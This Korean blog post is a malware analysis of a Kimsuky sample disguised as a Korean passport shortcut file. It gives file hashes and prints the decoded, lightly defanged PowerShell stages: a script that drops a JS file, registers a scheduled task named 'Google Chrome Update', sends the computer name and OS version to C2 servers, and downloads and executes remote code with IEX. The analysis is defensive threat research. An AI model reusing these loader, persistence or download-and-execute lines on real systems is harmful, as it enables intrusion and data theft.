꿈을꾸는 파랑새

오늘은 김수키(Kimsuky) 조직 여권 위장 공격: 개인정보 탈취를 위한 악성코드 분석(2025.6.18)에 대해 알아보겠습니다. 해당 공격은 개인이 컴퓨터, 노트북, 스마트폰에서 찍어서 저장돼 있던 해킹을 통해서 해당 한국 여권 사진을 악용해서 다른 사람을 공격하는 데 사용이 된 것으로 추측되며 아니면 여권 사진을 취급하는 쪽에서 털렸거나…. 여러 가지 가정을 있을 수가 있을 것 같습니다. 여기서 휴대폰 개통한 곳은 아닐 것이고 그쪽은 내국인은 휴대폰 개통은 불가이기 때문이 아닐 것이고….
일단 내부 코드는 Base64 로 3번 인코딩돼 있어서 더운 여름에 짜증이 나기 시작~
파일명: 한국 여권.lnk<-가제
사이즈:1 MB
MD5:c0b47dc97cf9552b564cb227b6de12c3
SHA-1:3480dd059adb53a6be9d063d16f6f22692c009d1
SHA-256:0e75a7d2077c13eb5c8b1329ea3b254d56b1b9210bacf5998ead7c17e62d1247

악성코드 에 포함이 된 Base64 코드
악성코드 에 포함이 된 Base64 코드

각각 마다 인코딩을 앞서 이야기한 것처럼 3번 벗겨야 함
먼저 처음 것을 벗겨 보면 다음과 같습니다.

악성코드 가 등록한 작업 스케줄러악성코드 실행 및 Google chrome Updata 예약 작업 생성
악성코드 실행 및 Google chrome Updata 예약 작업 생성

$data = "dmFy!!!!!!!;
$fname = $env:APP(D)ATA + "\Microsoft\Windows\Templates\chromeupdate(.)js";
[IO.File]::WriteAll(B)ytes($fname, [Convert]::FromBase64String($data));

$magi = "cmd /c schtasks /create /sc minu(t)e /mo 1 /tn 'Google (C)hrome Update'
/tr 'wscript(.)exe " + $fname + "' /f";
IEX $magi;

$c(l)ient = New(-)Object System.Net.WebClient;
$url = "hxxp://knees(.)nidnaver(.)cloud/free0510/view(.)php?name="+$env:C(O)MPUTER
NAME+"&tp="+[Environ(m)ent]::O(S)Version;
$fname = $env:USERP(R)OFILE + '\AppData\Local\Temp\Template(.)pdf';
$client(.)Dow(n)loadFile($url, $fname);
Start-Process ((Res(o)lve-Path $fname).Path);

분석 시작

아주 흥미로운 PowerShell 스크립트를 분석해주셨네요. 해당 스크립트는 **전형적인 드롭퍼(Dropper) 및 백도어 설치**와 정보 탈취, 그리고 지속성(Persistence) 확보를 목표로 설계된 악성코드의 예시입니다.
1.Base64 인코딩된 페이로드 드롭 및 분석
$data 변수에는 Base64로 인코딩된 JS 스크립트가 저장돼 있음
chromeupdate.js 라는 이름으로, \%APPDATA%\Microsoft\Windows\Templates\ 폴더에 디코딩하여 파일을 저장
해당 폴더 위치와 파일명은 사용자를 속이기 위한 목적이며 윈도우 시스템 파일/폴더 의 이름과 유사하게 설정
Base64 복호화 내용
JScript가 생성
WScript.Shell을 이용하여 PowerShell 을 실행
-ep bypass:실행 정책 우회
-w hidden:창 숨김
-e:Base64로 인코딩된 페이로드 전달
2.작업 스케줄러(SchTasks)를 이용한 컴퓨터 시작 시 계속 실행

악성코드가 생성한 chromeupdate.js 내용
악성코드가 생성한 chromeupdate.js 내용

분석

Templates 파일 내부에 있는 한국인 여권 사진
Templates 파일 내부에 있는 한국인 여권 사진

Windows 작업 스케줄러 를 이용하여 1분마다 chromeupdate.js 를 실행(Google Chrome Update이라는 이름으로 등록)
wscript.exe로 실행하여 윈도우 서비스나 정상 프로세스처럼 보이게 위장
/f 옵션으로 기존 동일 작업이 있으면 강제 덮어쓰기
컴퓨터 나 노트북 실행 시 계속 해당 악성코드를 계속 실행하기 위한 목적
3. 컴퓨터와 노트북 정보 수집 및 파일 다운로드
System.Net.WebClient를 통해 외부(공격자 C2 서버)로 접속
현재 컴퓨터 이름($env:COMPUTERNAME)과 OS 버전 정보를 파라미터로 넘김
/AppData/Local/Temp/Template.pdf 위치에 다운로드
다운로드된 파일을 바로 실행
그리고 2번째 base64는 3번째를 보기 위한 과정이니까? 핵심인 3번째 Baase64를 풀면 됩니다.

3 번째 Base64 디코딩
3 번째 Base64 디코딩

디코딩 결과

IEX ((New-Object Net.WebClient)(.)DownloadString('hxxp://toes(.)nidnaver(
.)cloud/free0510/dn(.)php?name='+$env:COMPUTERNAME(+)'&prefix=gg&tp='(+)[E
nvironment]::OSVersion));

분석

New-Object Net.WebClient는 웹에서 데이터를 내려받을 때 사용하는 .NET 객체
DownloadString(URL)은 해당 URL로부터 텍스트(스크립트, 코드 등)를 다운로드
여기서는 hxxp://toes(.)nidnaver(.)cloud/free0510/dn(.)php?... 해당 주소에서 코드를 받아 바로 실행
파라미터로 현재 PC 이름($env:COMPUTERNAME), prefix=gg, 운영체제 버전([Environment]::OSVersion) 함께 전송합니다.
결론 일단 한국인의 북한 해커들은 더 민감한 정보를 가지고 있으며 이런 것을 악용해서 이용할 수가 있는 곳이 보자~해외여행자보험 가입, 여행사에 패키지여행 예약 시, 항공권·호텔 수속 받으려고 여행사 해킹? 시도하거나 아니며 아니면 중국 호텔 같은데 사용하기 위해서인가? 아니면 한국 여권 가지고 해외 가상화폐(암호화폐) 시장에서 이용하려고 하는 것인지…. 아무튼, 해당 악성코드를 통해서 한국인들의 개인정보가 상당히 북한에서 입수해서 악용하고 있지 않을까? 생각이 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band